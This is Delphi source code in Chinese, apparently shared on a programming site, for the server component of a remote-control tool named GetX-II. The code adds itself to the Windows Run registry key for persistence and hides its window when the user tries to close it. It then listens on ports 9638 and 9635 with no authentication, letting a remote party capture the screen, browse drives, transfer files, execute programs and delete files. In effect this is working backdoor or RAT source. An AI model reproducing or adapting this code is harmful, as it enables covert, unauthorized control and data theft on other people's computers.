远程控制编程

开发平台：
Delphi

Unit1.pas：源码内容
							{
 如果你有意更改代码，请回寄一份给我，大家可以相互交流！
 E-MAIL:xkdh_szb@21cn.net
}
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, WinSock, ScktComp, JPEG, comctrls, extctrls, RXShell,
  ShellApi, registry;
type
  NetData = record
    Protocol  :set of ( P_SEND, P_REV, P_FILE, P_END, P_LIST,
                        C_SEND, C_REV, C_FILE, C_END, C_REVC,
                        K_SCR, K_MOUSE, K_RUN, K_DEL, K_KEY,
                        P_DRV);
    LInt, RInt:integer;
    Fbuf      :array [0..1024] of char;
    Str       :string[100];
  end;
  TfrmMain = class(TForm)
    moMsg: TMemo;
    ss1: TServerSocket;
    ss2: TServerSocket;
    Trayi: TRxTrayIcon;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure ss2ClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ss1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ss1Accept(Sender: TObject; Socket: TCustomWinSocket);
    procedure ss1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ss1ClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ss2ClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure TrayiDblClick(Sender: TObject);
  private
    procedure ShowMsg(Msg:string);
    procedure sysmsg(var message :TMessage); message WM_CLOSE;
    { Private declarations }
  public
    { Public declarations }
  end;
var
  frmMain : TfrmMain;
  MyStream: TMemorystream;{内存流对象}
  scF,csF : File;
  jx      : integer;
CONST
  tport = 9638;
  sport = 9635;
implementation
{$R *.dfm}
procedure GetScreen(var Bmp: TBitmap);
var
  Dc        : HDC;
  MyCanvas  : TCanvas;
  MyRect    : TRect;
  DrawPos   : TPoint;
  MyCursor  : TIcon;
  mp        : tpoint;
  Threadld  : dword;
  pIconInfo : TIconInfo;
  Cursorx, Cursory: integer;
  hld       : hwnd;
begin
  Bmp := TBitmap.Create ;
  Dc := GetWindowDC(0);
  MyCanvas := TCanvas.Create;
  try
    MyCanvas.Handle := Dc;
    MyRect:=Rect(0, 0,Screen.Width, Screen.Height);
    //图像为 24位真彩色，也可根据实际需要调整
    Bmp.Width := MyRect.Right;
    Bmp.Height := MyRect.Bottom;
    //捕捉整个屏幕图像
    Bmp.Canvas.CopyRect(MyRect, MyCanvas, MyRect);
    //bmp.PixelFormat := pf16bit;
  finally
    MyCanvas.Handle := 0;
    MyCanvas.Free;
    ReleaseDC(0, Dc);
  end;
  //绘制鼠标
  GetCursorPos(DrawPos);
  MyCursor := TIcon.Create;
  getcursorpos(mp);
  hld := WindowFromPoint(mp);
  Threadld := GetWindowThreadProcessId(hld, nil);
  AttachThreadInput(GetCurrentThreadId, Threadld, True);
  MyCursor.Handle := Getcursor();
  AttachThreadInput(GetCurrentThreadId, threadld, False);
  GetIconInfo(Mycursor.Handle, pIconInfo);
  cursorx := DrawPos.x - round(pIconInfo.xHotspot);
  cursory := DrawPos.y - round(pIconInfo.yHotspot);
  bmp.Canvas.Draw(cursorx, cursory, MyCursor); {画上鼠标}
  DeleteObject(pIconInfo.hbmColor);{GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象}
  DeleteObject(pIconInfo.hbmMask);{否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽}
  Mycursor.ReleaseHandle; {释放数组内存}
  MyCursor.Free; {释放鼠标指针}
end;
function GetTmpPath :string;
{获取临时目录}
var tmpdir:array [0..255] of char;
begin
  GetTempPath(255,@tmpdir);
  Result :=StrPas(Tmpdir);
end;
function GetFileSize(Path:string):integer;
var
  Sear:TSearchRec;
begin
  if FindFirst(Path, sysUtils.faArchive, Sear)=0 then
    Result := Sear.Size
  else
    Result := 0;
end;
procedure TfrmMain.ShowMsg(Msg:string);
begin
  frmMain.moMsg.Lines.Add('服务器消息： '+Msg);
end;
procedure TfrmMain.sysmsg(var message :TMessage);
begin
  FrmMain.Hide ;
end;
procedure TfrmMain.FormCreate(Sender: TObject);
VAR
  MyReg: Tregistry;
begin
  ss1.Port := tport;
  ss2.Port := sport;
  ss1.Active := true;
  ss2.Active := true;
  MyReg := tregistry.Create ;
  MyReg.RootKey := HKEY_LOCAL_MACHINE;
  MyReg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun', True);
  MyReg.WriteString('Getx-II', Application.ExeName);
  MyReg.CloseKey ;
  myReg.Free ;
  ShowMsg('服务起已经启动，正在监听端口：（'+inttostr(tport)+'）和（'+inttostr(sport)+'）');
end;
procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if ss1.Active then ss1.Close ;
  if ss2.Active then ss2.Close ;
end;
procedure TfrmMain.ss2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
//图象传送
var
  S, S1  : String;
  MyBmp  : TBitmap;
  Myjpg  : TJpegimage;
begin
  application.ProcessMessages;
  try
  S := Socket.ReceiveText ;
  if copy(S,1,3) = 'cap' then
  begin
    MyStream := TMemorystream.Create;{建立内存流}
    MyBmp    := TBitmap.Create;
    Myjpg    := TJpegimage.Create;
    Try
      GetScreen(MyBmp);
      Myjpg.Assign(MyBmp);
      Myjpg.CompressionQuality := jx;
      Myjpg.SaveToStream(MyStream);
      Myjpg.Free ;
      MyStream.Position := 0;
      S1 := IntToStr(MyStream.Size);
      Socket.SendText(S1);
    finally
      MyBmp.Free;
    end;
  end;
  if copy(S,1,5) = 'ready' then
  begin
    MyStream.Position := 0;
    Socket.SendStream(MyStream);
  end;
  except
  end;
end;
procedure TfrmMain.ss1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  bb:NetData;
  Sear:TSearchrec;
  strT:string;
begin
  if Socket.ReceiveBuf(bb,sizeof(bb))= SOCKET_ERROR then
    exit;
  application.ProcessMessages ;
  //S-C SEND FILE
  try
  if P_FILE in bb.Protocol then
  begin
    bb.Protocol := [P_SEND];
    AssignFile(scF,bb.Str);
    FileMode := 0;
    ReSet (scf, 1);
    BlockRead(scf, bb.Fbuf, 1024, bb.RInt);
    if bb.RInt > 0 then
      Socket.SendBuf(bb, sizeof(bb));
  end;
  if P_REV in bb.Protocol then
  begin
    bb.Protocol := [P_SEND];
    BlockRead(scf, bb.Fbuf, SizeOF(bb.Fbuf), bb.RInt);
    if bb.RInt >0 then
      Socket.SendBuf(bb, sizeof(bb))
    else
    begin
      CloseFile(scf);
      bb.Protocol := [P_END];
      Socket.SendBuf(bb,sizeof(bb));
    end;
  end;
  //C-S SEND FILE
  if C_FILE in bb.Protocol then
  begin
    AssignFile(scF, bb.Str);
    ReWrite(scf, 1);
    bb.Protocol := [C_REVC];
    if IOResult = 0 then
      Socket.SendBuf(bb, sizeOf(bb));
    end;
  if C_SEND in bb.Protocol then
  begin
    BlockWrite(scf, bb.Fbuf, bb.RInt);
    bb.Protocol := [C_REV];
    Socket.SendBuf(bb, sizeOf(bb));
  end;
  if C_END in bb.Protocol then
  begin
    Closefile(scf);
  end;
  //屏幕控制开始
  if K_SCR in bb.Protocol then
  begin
    jx := bb.RInt ;
    bb.Protocol := [K_SCR];
    bb.RInt    := Screen.Width;
    Socket.SendBuf(bb, sizeOf(bb));
  end;
  //传送目录和文件
  if P_LIST in bb.Protocol then
  begin
    if findFirst(bb.Str, faAnyFile, Sear)=0 then
      repeat
        bb.Protocol := [P_LIST];
        bb.LInt     := sear.Size ;
        bb.RInt     := sear.Time ;
        bb.Str      := sear.Name ;
        if (sear.Attr and faDirectory) <> 0 then bb.LInt := -9;
        socket.SendBuf(bb, sizeOf(bb));
        sleep(10);
        application.ProcessMessages ;
      until findNext(Sear)<>0 ;
    findClose(Sear);
    bb.Str := '';
    socket.sendbuf(bb, sizeof(bb));
  end;
  if K_RUN in bb.Protocol then
  begin
    strt:= bb.Str ;
    ShellExecute(handle,'open', pchar(strt), nil, pchar(extractfilepath(strt)),SW_NORMAL);
  end;
  if K_DEL in bb.Protocol then
    DeleteFile(bb.Str);
  except
  end;
end;
procedure TfrmMain.ss1Accept(Sender: TObject; Socket: TCustomWinSocket);
var
  drv :char;
  pdrv:netdata;
begin
  showmsg(inet_ntoa(Socket.RemoteAddr.sin_addr) + '已经连接！');
  trayi.Active := true;
  trayi.Hint := 'GetX-II v1.00' + chr(13)+chr(10) +
                inet_ntoa(Socket.RemoteAddr.sin_addr) + '已经连接！';
  try
  for drv:= 'C' to 'Z' do
  begin
    application.ProcessMessages ;
    sleep(100);
    pdrv.Protocol := [P_DRV];
    case GetDriveType(PChar(Drv+':')) of
      DRIVE_FIXED: pdrv.Str := '本地磁盘:'+drv+':';
      DRIVE_CDROM: pdrv.Str := '光    盘:'+Drv+':';
      DRIVE_RAMDISK: pdrv.Str :='虚礼磁盘:'+Drv+':';
    else
      pdrv.Str := 'n';
    end;
    if pdrv.Str <>'n'then
      Socket.SendBuf(pdrv, sizeOf(pdrv));
  end;
  pdrv.Str := '';
  Socket.SendBuf(pdrv, sizeOf(pdrv));
  except
  end;
end;
procedure TfrmMain.ss1ClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  showmsg(inet_ntoa(Socket.RemoteAddr.sin_addr) + '断开连接！');
  trayi.Active := false;
end;
procedure TfrmMain.ss1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode:= 0;
  case ErrorEvent of
    eeSend: showmsg('搞鸡吧！发送数据出现了出错误！！还好问题不大可以从新来。');
    eeReceive: showmsg('见落甩！接收数据出现了错误！不晓得还发不发过来·！·');
    eeAccept: showmsg('搞的个么卵子！还没有连接就出错！');
    eeConnect: showmsg('也落，在建立连接时出现错误！');
    eeDisconnect: showmsg('哈哈！断开连接时出现了错误，怕个b！');
    eeGeneral: showmsg('这回真是也落了，出现了一个错误我也不晓得是么落错误！');
  end;
  ss1.Close;
  sleep(5000);
  ss1.Open ;
end;
procedure TfrmMain.ss2ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode:=0;
  MyStream.Clear ;
end;
procedure TfrmMain.TrayiDblClick(Sender: TObject);
begin
  frmMain.Show ;
end;
end.

						